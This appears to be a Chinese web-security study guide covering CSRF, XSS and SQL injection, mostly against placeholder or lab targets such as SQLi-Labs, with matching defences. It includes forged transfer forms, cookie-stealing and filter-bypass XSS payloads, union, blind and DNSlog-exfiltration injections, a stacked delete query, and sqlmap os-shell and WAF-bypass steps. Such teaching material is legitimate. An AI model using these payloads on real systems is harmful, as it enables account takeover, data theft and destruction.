确认请求是否带有 anti-CSRF token（防跨站请求伪造令牌）
如果没有 token 或 token 可预测/可绕过，则存在 CSRF 漏洞

常见敏感操作特征：

修改密码
修改邮箱/手机号
转账/支付
删除数据
添加管理员
修改个人资料

五、CSRF 利用思路与步骤#

5.1 确定利用途径#

1
1. 识别是通过 GET 请求还是 POST 请求提交
2
   ├── GET 请求 → 直接构造 URL
3
   └── POST 请求 → 构造自动提交表单
4

5
2. 识别是否有 CSRF Token
6
   ├── 无 Token → 直接利用
7
   └── 有 Token → 需要配合 XSS 或 Token 预测

请求方式	利用方法
GET	直接构造恶意 URL，诱骗点击
POST	构造自动提交的隐藏表单
有 Token	需要配合 XSS 窃取或预测 Token

5.2 构造利用方式#

方式1：恶意 URL

1
<!-- 让受害者点击这个链接 -->
2
<a href="http://example.com/transfer?to=attacker&amount=10000">点击领取优惠券</a>

方式2：img 标签（自动加载）

1
<!-- 受害者访问页面时自动发起请求 -->
2
<img src="http://example.com/transfer?to=attacker&amount=10000" width="0" height="0" />

方式3：自动提交的隐藏表单

1
<html>
2
<body onload="document.forms[0].submit();">
3
    <form action="http://example.com/transfer" method="POST">
4
        <input type="hidden" name="to" value="attacker">
5
        <input type="hidden" name="amount" value="10000">
6
    </form>
7
</body>
8
</html>

方式4：XMLHttpRequest（配合 XSS）

1
var xhr = new XMLHttpRequest();
2
xhr.open('POST', 'http://example.com/transfer', true);
3
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
4
xhr.send('to=attacker&amount=10000');

方式5：短网址跳转

1
原恶意链接：http://example.com/transfer?to=attacker&amount=10000
2
短网址：http://dwz.cn/abc123

六、CSRF 修复思路#

修复方案	说明
1. 敏感操作使用 POST 请求	避免使用 GET 请求处理敏感操作（但 POST 不能完全防御）
2. 使用 CSRF Token	生成随机 Token，每次请求时校验
3. 验证 Referer	检查请求来源是否合法
4. 增加二次验证	修改密码/转账等操作要求输入密码或短信验证码
5. 使用预留信息确认	要求用户确认预留信息（如生日、密保问题）
6. 重要操作使用验证码	使用图形验证码或短信验证码

CSRF Token 机制#

1
正常流程：
2
  1. 服务器生成随机 Token（如：abc123xyz）
3
  2. Token 保存在 Session 中，并写入表单隐藏字段
4
  3. 用户提交表单时携带 Token
5
  4. 服务器校验 Token 是否匹配
6

7
CSRF Token 防御原理：
8
  攻击者无法获取用户 Session 中的 Token → 无法构造包含正确 Token 的请求 → 攻击失败

Referer 验证#

1
HTTP请求头 Referer：https://example.com/page.html
2

3
防御策略：
4
  1. 校验请求来源是否为目标站点
5
  2. 如果 Referer 不是本站，则拒绝请求
6

7
注意：Referer 可以被伪造或缺失（部分浏览器/网络环境）

七、CSRF 绕过姿势#

绕过方式	原理
Referer 绕过	构造包含目标站点 host 为路径的链接页面，如 `http://attacker.com/example.com/index.html`
短网址绕过	使用短网址服务隐藏恶意链接
XSS + CSRF 联合	利用 XSS 窃取 CSRF Token，再发起伪造请求
空 Referer	部分浏览器或配置下可通过 meta 标签移除 Referer
HTTPS → HTTP 降级	某些情况下可尝试降级请求绕过安全策略

Referer 绕过示例#

1
目标站点：example.com
2
攻击者页面：http://attacker.com/example.com/index.html
3

4
某些服务器会检查 Referer 中是否包含 example.com，
5
attacker.com/example.com/index.html 也包含 example.com，可能被放行。

八、CSRF 和 XSS 的异同#

相同点#

都是前端漏洞
都利用用户与网站的交互机制

不同点#

对比项	XSS	CSRF
核心机制	注入恶意脚本到网页	伪造用户请求
是否窃取数据	✅ 可窃取 Cookie、敏感数据	❌ 不窃取数据，只伪造请求
是否需要用户登录	❌ 不一定	✅ 一般必须（利用已有凭证）
依赖 JavaScript	✅ 强依赖（执行恶意脚本）	⚠️ 不完全依赖（可仅用 img/表单）
请求方向	双向（可窃取可攻击）	单向（发送伪造请求）
防御核心	输入过滤、输出编码	Token、Referer 验证

关系示意图#

1
XSS → 可以窃取 CSRF Token → 可以辅助 CSRF 攻击
2

3
所以：XSS + CSRF 组合攻击威力更大！

📌 快速参考卡片#

检测 CSRF 的口诀#

1
找敏感操作 → 看有无 Token → 无 Token 则 CSRF

测试 Payload#

1
<!-- GET 请求测试 -->
2
<img src="http://target.com/change_password?newpwd=123456" />
3

4
<!-- POST 请求测试（自动提交） -->
5
<form action="http://target.com/change_password" method="POST">
6
    <input name="newpwd" value="123456">
7
</form>
8
<script>document.forms[0].submit();</script>
9
<!-- 测试 Referer 绕过 -->
10
<a href="http://target.com/change_password?newpwd=123456">点击有惊喜</a>

防御检查清单#

敏感操作是否使用 POST 而非 GET？
是否使用 CSRF Token？
Token 是否足够随机且不可预测？
Token 是否与用户 Session 绑定？
是否验证了 Referer？
重要操作是否要求二次验证（密码/验证码）？

XSS 跨站脚本

Mon, 14 Sep 2026 14:46:00 GMT

一、XSS 概述#

1.1 什么是 XSS？#

XSS（Cross Site Scripting，跨站脚本攻击）是一种前端漏洞，目的是让受害者的浏览器执行攻击者编写的恶意 JS 脚本。

属性	说明
攻击目标	前端脚本解析引擎（如浏览器 JavaScript 引擎）
攻击架构	B/S 架构（Browser ↔ Server）
核心目的	让受害者 JS 客户端运行攻击者的恶意脚本

1.2 XSS 的危害#

技术层面：

窃取凭证（Cookie、Session）
篡改 DOM（页面布局及内容）
嵌入恶意脚本代码
发起恶意请求（Ajax）
键盘记录
窃取用户浏览历史
获取客户端 IP
端口扫描
获取剪贴板记录
破解 CSRF Token 限制

社会影响层面：

无账号密码情况下非法登录网站
网络钓鱼
网页蠕虫
网页篡改

1.3 XSS 漏洞原理#

前端用户提交的脚本代码，被其他用户浏览器执行，产生预期外的执行后果。

简单来说：让自己提交的前端脚本代码被别人运行。

二、JS 执行模板#

Payload	说明
`<script>alert(1)</script>`	直接嵌入 script 标签
`<script src=https://xsspt.com/MQzN0Z></script>`	从远程加载 script
`<input onmouseover="alert(1)">`	通过事件属性触发
`<a href="javascript:alert(1)">aaa</a>`	超链接伪协议
`<svg onload="alert(1)">`	SVG 标签的 onload 事件
`<svg><script>alert(1)</script></svg>`	SVG 中嵌入 script
`<textarea></textarea><script>alert(1)</script>`	闭合 textarea 后注入

闭合技巧：

1
<!-- 需要先闭合标签再注入 -->
2
<textarea>xxx</textarea>  →  <textarea></textarea><script>alert(1)</script>

三、XSS 类型#

类型	说明	是否与服务器交互
反射型 XSS	一次性 XSS，通过 URL 参数传递恶意代码	✅ 是
存储型 XSS	持久性 XSS，恶意代码存储在服务器数据库中	✅ 是
DOM 型 XSS	一次性 XSS，通过 DOM 操作触发，不与服务器交互	❌ 否

3.1 反射型 XSS#

1
攻击者 → 构造恶意链接 → 诱骗受害者点击 → 恶意脚本在受害者浏览器执行

示例：

1
http://target.com/search?q=<script>alert(1)</script>

3.2 存储型 XSS#

1
攻击者 → 在论坛/评论区提交恶意脚本 → 存储在服务器数据库 → 其他用户访问页面时执行

3.3 DOM 型 XSS#

1
攻击者 → 构造恶意 URL → 页面 JS 解析 URL 参数 → 动态写入 DOM → 脚本执行

特点： 不与服务器交互，完全在客户端发生。

四、如何发现 XSS#

核心原则：见框就插！

常见输入点#

输入点	说明
URL 参数	`?q=xxx`、`?id=xxx`
无参 URL	`/name/zs` 路径部分
表单输入	搜索框、评论区、注册/登录框
文件上传点	文件名、文件内容
HTTP 请求头	User-Agent、Referer、Cookie

发现思路#

找到输入点和输出点
根据输入点猜测后台的输出点位置及触发条件（盲 XSS）
使用 Payload 测试
观察闭合、过滤和拦截情况
重新构造 Payload

五、XSS 代码投放方式#

方式1：直接发送链接#

1
http://target.com/search?q=<script>alert(1)</script>

方式2：通过短网址#

1
原链接：http://target.com/search?q=<script>alert(1)</script>
2
短网址：http://dwz.cn/abc123

方式3：隐藏表单自动提交#

1
<!-- 诱骗用户点击的页面 -->
2
<img src="https://example.com/beautiful.jpg" />
3

4
<form action="http://target.com/alert.php" method="post">
5
    <input name="data" id="data" type="hidden" value="<script>alert(1)</script>">
6
    <input type="submit" id="btn" value="点击查看更多美女图片">
7
</form>
8
<script>
9
    document.getElementById('btn').click();
10
</script>

方式4：XSS 平台#

从 XSS 平台（如 https://xssaq.com）获取攻击 JS 脚本，投放后收割 Cookie。

六、XSS 利用步骤#

1
1. 找到输入点和输出点（含两者共存的情况）
2
2. 构造 Payload，尽量一次性成功
3
3. 观察闭合、过滤和拦截情况
4
4. 重新构造 Payload
5
5. 如不成功，重复第 3、4 步

七、编码和转义#

编码#

编码是改变字符的外观表示，中间件会自动解码还原。

编码类型	示例
URL 编码	`%3Cscript%3E`
HTML 实体编码	`<script>`
Base64	`PHNjcmlwdD4=`
Unicode	`\u0061\u006c\u0065\u0072\u0074`

转义#

转义是使特殊字符失去闭合等意义，成为普通字符。

1
// 转义单引号
2
' --> \'

对比	编码	转义
是否改变外观	✅ 是	❌ 否
是否失去特殊意义	视情况	✅ 是

Unicode 编码示例#

1
// 三个八进制数字
2
"e" → "\145"
3

4
// 两个十六进制数字
5
"e" → "\x65"
6

7
// 四个十六进制数字
8
"e" → "\u0065"
9

10
// 示例：编码后的 alert(1)
11
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029");

八、XSS 绕过技巧#

8.1 大小写绕过#

1
<ScRiPt>alert(1)</ScRiPt>

8.2 双写绕过#

1
<scr<script>ipt>alert(1)</scr</script>ipt>

8.3 换行绕过#

1
<script>
2
alert(1)
3
</script>

8.4 引号和括号替代#

1
<!-- 使用 / 替代引号 -->
2
<script>alert(/XSS/)</script>
3
<!-- 使用 String.fromCharCode -->
4
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

8.5 生僻元素绕过#

1
<svg onload="alert(1)">
2
<details open ontoggle="alert(1)">

8.6 注释绕过#

1
<!-- 使用注释闭合 -->
2
<script>alert(1)//</script>
3
<!-- 或 -->
4
<!-- --><script>alert(1)</script>

8.7 HTML 实体编码绕过#

1
<!-- HTML 实体编码绕过过滤 -->
2
<a href="javascript:alert(1)">点击</a>
3
<!-- 或 -->
4
<a href="javasc& #114;ipt:alert(1)">点击</a>

8.8 拉丁字母/特殊字符绕过#

1
<!-- 使用拉丁字母替代 -->
2
<ѕcript>alert(1)</ѕcript>

8.9 提前嵌入反斜杠#

1
<scr\ipt>alert(1)</scr\ipt>

8.10 多行代码合并#

1
<!-- 原始代码 -->
2
<script>
3
function add(x, y){
4
    return x+y;
5
}
6
document.write(add(2,3));
7
</script>
8
<!-- 合并为一行 -->
9
<script>function add(x,y){return x+y;}document.write(add(2,3));</script>

九、浏览器安全策略#

9.1 同源策略#

判断同源的三个要素：

要素	说明
协议	http / https
域名	baidu.com / www.baidu.com
端口	80 / 443 / 9001

示例判断：

1
http://baidu.com/              ← 基准
2
http://www.baidu.com           ❌ 域名不同
3
http://baidu.com:9001          ❌ 端口不同
4
https://baidu.com              ❌ 协议不同
5
http://baidu.com/abc/          ✅ 同源（路径不影响）
6
http://baidu.com/lab/          ✅ 同源（路径不影响）

9.2 跨域限制#

受跨域限制：

限制项	说明
Cookie、LocalStorage、IndexDB	无法跨域读取
修改 iframe 中其他网站的 DOM	无法跨域修改
AJAX 请求	默认无法跨域发起

不受跨域限制：

操作	说明
跨域提交表单	`<form action="...">`
跨域引入资源	`<img>`、`<iframe>`、`<link>`、`<script>`

9.3 HttpOnly#

属性	说明
HttpOnly	Cookie 标记 HttpOnly 后，JS 无法读取该 Cookie，只能由浏览器在 HTTP 请求中自动携带
作用	防止 XSS 窃取 Cookie（但无法防止 CSRF）

1
// PHP 设置 HttpOnly Cookie
2
setcookie("name", "value", time()+3600, "/", "", false, true);
3
//                                                                   ↑
4
//                                                              HttpOnly

9.4 常见疑问#

问： XSS 代码植入后，将 Cookie 发送到 XSS 平台（不同源网站），为什么能成功？

答：

XSS 平台接收 Cookie 是通过 跨域请求（如 <img src="xss平台地址?cookie=xxx">）
这种跨域请求不受同源策略限制（通过 <img>、<script> 等标签引入资源是允许的）
Cookie 的发送是通过当前页面的 JS 读取后拼接到 URL 中，不是浏览器自动携带 Cookie 跨域

十、XSS 防护思路#

10.1 防护措施#

措施	说明
白名单策略	只允许指定的标签和事件属性
黑名单策略	过滤危险标签和事件（不可靠，易绕过）
HTML 实体编码	对 `<`、`>`、`"`、`'`、`/` 进行编码
HttpOnly	下发 Cookie 时添加 HttpOnly 属性
CSP	设置 Content-Security-Policy，限制脚本执行来源
XSS 过滤框架	使用成熟的防 XSS 框架（如 OWASP 的 ESAPI）
富文本编辑器	采用成熟的富文本前端组件（如 UEditor、TinyMCE）

10.2 关键防护代码#

1
// PHP 输出时进行 HTML 实体编码
2
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
3

4
// PHP 设置 HttpOnly Cookie
5
setcookie('session_id', $value, [
6
    'httponly' => true,
7
    'secure' => true,   // 仅 HTTPS 传输
8
    'samesite' => 'Strict'
9
]);

10.3 CSP 示例#

1
<!-- 仅允许来自同源的脚本 -->
2
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
3

4
<!-- 仅允许来自特定域名的脚本 -->
5
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://cdn.example.com">
6

7
<!-- 禁止内联脚本执行 -->
8
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">

📌 快速参考卡片#

常用 Payload#

1
<!-- 基础弹窗 -->
2
<script>alert(1)</script>
3
<script>alert(document.cookie)</script>
4
<!-- 事件触发 -->
5
<img src="x" onerror="alert(1)">
6
<body onload="alert(1)">
7
<input onfocus="alert(1)" autofocus>
8

9
<!-- 超链接 -->
10
<a href="javascript:alert(1)">点击</a>
11
<!-- SVG -->
12
<svg onload="alert(1)">
13

14
<!-- 远程加载 -->
15
<script src="https://xss.pt/xxx.js"></script>

展开收起

XSS 类型判断#

1
反射型：恶意代码在 URL 中，一次性
2
存储型：恶意代码在数据库中，持久性
3
DOM型：恶意代码在 URL 中，纯前端触发，不与服务器交互

绕过速查#

1
大小写    → <ScRiPt>alert(1)</ScRiPt>
2
双写      → <scr<script>ipt>alert(1)</scr</script>ipt>
3
编码      → 实体编码、Unicode、Base64
4
生僻元素  → svg、details、video、audio
5
注释      → 用 // 或 <!-- --> 闭合

防御速查#

1
输入过滤  → 过滤危险标签和事件
2
输出编码  → htmlspecialchars()
3
Cookie    → HttpOnly + Secure + SameSite
4
CSP       → 限制脚本来源
5
富文本    → 使用成熟编辑器

SQL 注入

Sun, 13 Sep 2026 14:46:00 GMT

sqli#

什么是sqli#

sql注入，攻击者构造并提交sql代码片段作为参数拼接到后端查询

原理#
- 由于后端对前端输入参数缺乏正确处理，导致攻击者构造并提交sql代码片段作为参数拼接到后端查询
分类#
- 有回显、无回显
- 数字型、字符型
- URL、表单、头部注入
有什么危害#
- 条件满足的情况下：
  1. 从技术上来说，未授权增删改查数据库内容，包括拖库，删库，读写系统文件，执行命令等等
  2. 从影响上来说，盗窃系统机密数据，能篡改网站页面，接管服务器，篡改系统交易数据等等
利用条件#
- information_schema
- 联合查询
- 文件读写
  - 2个前提：
  1. 知道绝对路径
  2. secure_File_priv 开关需要是打开状态
  - 读文件select load_file("路径和文件名");load_file()需要打开一个读写文件的配置secure-file-priv ；load data infile 和 load data local infile ，不受secure-file-priv 的限制后两者和SQLi关系不大load data infile ：可以导入文件中的表数据到表中LOAD DATA INFILE ‘/home/zhuxu/1.txt’ INTO TABLE tmp_loaddata FIELDS TERMINATED BY ’,‘;load data local infile ;与load data infile作用类似
  - 写文件

1
SELECT "12\n3" INTO OUTFILE "c:/123.txt";
2
SELECT "1230\nabc" INTO DUMPFILE "c:/123.txt";

注：dumpfile可以处理非可见字符。要使用联合查询写文件，不能使用and或者or拼接写文件 secure_file_priv默认是NULL，可以通过my.conf文件mysqld一栏里进行配置，配置完成后，重启才会生效。select @@global.secure_file_priv;各个选项值有什么用

1
        1. 设置为空，那么所有路径均可进行导入导出
2
        2. 设置为一个目录名字，那么只允许在该路径下导入导出
3
        3. 设置为null（默认），那么禁止所有导入导出
4
- 报错注入
5
- dnslog

如何挖掘#
- 找到一个动态网站（.php?xx= / .jsp?xx=/ .asp?xx=）
- 伪静态 http://xxx.com/news/id/1.html 可能等于 http://xxx.com/news.php?id=1
- 罗列潜在注入点
- 依次对注入点进行注入尝试
  1. 首先给不同参数，观察返回的结果
  2. 猜测后端的sql查询语句，以及注入点sql语句在模板中的位置
  3. 如果有回显，考虑联合查询
  4. 如果没回显，但是有报错，考虑报错注入
  5. 如果都没有，考虑布尔盲注和时间盲注
  6. 如果以上都不行，考虑换个模块的注入点
修复思路#
- 使用预编译技术
- 使用成熟的防注入框架

联合查询注入#

思路#

找到注入点
猜测后端查询语句
判断类型
判断列数
判断回显位
查库名
查表名和字段名
查数据

步骤#

判断注入点判断哪些地方会和后端数据库进行交互，则有可能成为注入点
猜测查询语句

1
select * from t_xx where col_xx = 1;

判断类型参数改成2-1，看查询结果是否对应1的结果

1
http://xxx.xxx.xxx.xxx:xxx/sql/xxx/index.php?id=2-1

能计算就是数字型，否则就是字符型

判断列数用order by判断列数

1
select * from t_xx where col_xx = 1 order by 10%23;

抽出参数

1
1 order by 10%23

注入参数，拼接到url后面用二分法判断列数，直到一个尽可能大的列数不报错，就能判断列数就是他了

判断回显位

1
select * from t_xx where col_xx = 1 union select 1,2,3%23;

查出记录可能有多条，但是前端网页可能不能全部显示，要想办法让左边查不出结果，给不存在的条件，如id改成-1后续就在回显位查出数据并显示

查库名

1
SELECT * FROM t_xx WHERE col_xx = -1 union select 1,2,database()%23;

查表名

1
http://172.16.116.75:13980/SQLi-Labs/Less-1/index.php?id=-1 union SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema="security";%23

查列名

1
http://172.16.116.75:13980/SQLi-Labs/Less-1/index.php?id=-1 union SELECT
2
1,2,group_concat(column_name) FROM information_schema.columns WHERE
3
table_schema="security" and table_name="users";%23

查数据

1
http://172.16.116.75:13980/SQLi-Labs/Less-1/index.php?id=-1 union SELECT
2
1,2,group_concat(concat_ws("=>", id,username,password)) FROM users;%23

报错注入#

如何进行报错注入#

判断注入点
猜测查询语句

1
select * from t_xx where c_xx = '1' LIMIT 0,1

判断闭合符’/”/)
看有无报错，能否通过报错信息带出查询的内容
如果报错payload需要联合查询则需要判断列数，如果不需要联合查询则不需要判断列数

布尔盲注#

无回显，无报错用盲注

and 1有结果

and 0无结果

无结果=》不成立

有结果=》成立

关键函数：length()、substr()、ascii()

http://172.16.116.75<13980>/sqli-labs/Less-8/?id=1’ and ascii(substr(database(),2,1))>10%23

时间盲注#

基础：if(,,)，sleep()，and、or、benchmark()、

无回显无报错且响应内容无差异，则只能用延时盲注

原理：构造布尔表达式，根据结果不同反推字符

思路步骤：

and sleep()反推闭合符
构造布尔表达式，反推字符

dnslog注入#

https://dnslog.ink/

加快注入速度

dnslog服务

获取一个dnslog平台的子域名
SELECT load_file(concat(”\”,(select database()),“.9d238749.digimg.store\aa”))
将上述语句注入到注入点，然后到dnslog平台上获取数据

宽字节注入#

基础：西欧字母符号，通过1个字节来表示。东亚字符通过至少两个字节来表示。GBK编码用两个字节来表示中文区字符。其编码范围：8140－FEFE（高字节从81到FE，低字节从40到FE）。

条件
- 后台代码使用GBK编码连接数据库的时候
原理
- 编码转换存在着单字符被合并的情形
- 反斜杠对应ascii编码5c，是单字节的
- 在5c前再加入一个单字节字符dd（范围可以是81到FE之间），就成了dd5c
- 而当后端使用GBK编码的时候，会将合理的两个单字节ANSCII字符解析成一个双字节的GBK编码字符。

堆叠注入#

多注入1个语句，在注入的两个语句中尝试使用分号分隔即可。

例子，谨慎参考

1
192.168.68.131/SQLi-Labs/Less-38/?id = 1';delete from users where id=1%23

危害巨大，可改库

like注入#

猜测搜索功能点的查询语句

select * from news where content like ‘%搜索的内容%’;

注入payload

1
搜索的内容%' order by 10#

http头部注入#

sqli-labs-18

模板：insert into t_xx values(‘xx’, ‘666’, ‘ipxxx’)

payload：xx’,EXTRACTVALUE(‘anything’,concat(0x7e, DATABASE())),‘xx

如果猜测到后端有SQL查询，而且会带入http请求头中的字段内容，那么该功能点可能存在SQL注入。

头部注入通常用在后端记录日志入库的场景。

sqlmap#

有哪些功能？能够对多种不同数据库进行不同类型的注入，比如：#
- 对不同数据库管理系统进行注入
- 查库表列和数据的功能
- 注入读写文件
- 注入执行系统命令等
各个选项什么意思-h 获取帮助-hh 获取详细帮助—is-dba 判断当前用户是否dba—privileges 查看权限—current-user 查看当前用户—passwords 查看密码—os-shell 获取os-shell—level n ，n指探测等级，数值越高，等级越高，默认为1。在不确定哪个payload或参数为注入点时，为了保证全面性，建议使用更高的level值，2级会探测cookie，3级会探测user-agent、refer头-v n ，参数指定回显信息的复杂度，n属于[0~6]，3可以查看payload—batch 全部采用默认选择
需要注意什么#
1. 不要使用拖库的选项
2. 如果对手工没有绝对的自信，就不要注入有修改功能的注入点
典型使用步骤：#
- URL注入
  1. 寻找注入点截取访问链接，得到注入点：http://xxxx
  2. 查询库名打开cmd，切换目录到sqlmap执行命令：python sqlmap.py -u “http://xxxx” —current-db
  3. 指定库名查表名python sqlmap.py -u “http://xxxx” -D 库名 —tables
  4. 指定库名、表名查列名python sqlmap.py -u “注入点” -D 库名 -T 表名 —columns
  5. 获取sql-shellpython sqlmap.py -u “注入点” —sql-shell获得sql-shell提示符
  6. 查记录前面步骤获取到表结构后，在sql-shell提示符后面输入SQL语句查询记录：

1
select username, password from t_admin;

获得管理员账号记录：账号：adminmd5（密码）：xxxx

1
    7. 反差密码访问cmd5.com，输入md5（密码）查询，得知密码为：xxx
2
- 表单注入 --forms表框注入，不需要任何操作，自动测试注入sqlmap.py -u （url） --forms --batch --current-db
3
- post注入--data “var1=parm1&var2=parm2"
4
- 通过请求注入 -r "r.txt"r.txt中保存的是http请求包sqlmap.py -r 1.txt --current-db
5
- cookie注入

1
sqlmap.py -u "xxx.xxx.xxx" --level 2 --cookie "xx=xx"

1
- 伪静态注入url后面加*（星号）-u "[http://host/app/index/id/1](http://host/app/index/id/1)*"
2
- 请求延时--url="[http://127.0.0.1/Index/view/id/40.html](http://127.0.0.1/Index/view/id/40.html)" --delay=2 --url="[http://127.0.0.1/Index/view/id/40.html](http://127.0.0.1/Index/view/id/40.html)" --safe-freq=2

如何绕waf#
- 通过—tamper选项绕过：—tamper space2comment.py常见绕waf的tamper：space2comment、space2dash、between、–random-agent设置延时请求间隔秒：—delay=2 定期访问安全页面：—safe-url, —safe-freq
sqlmap拿shell—os-shell前提：必须知道网站根目录的绝对路径
mysql原理：写文件mssql原理：xp_cmdshell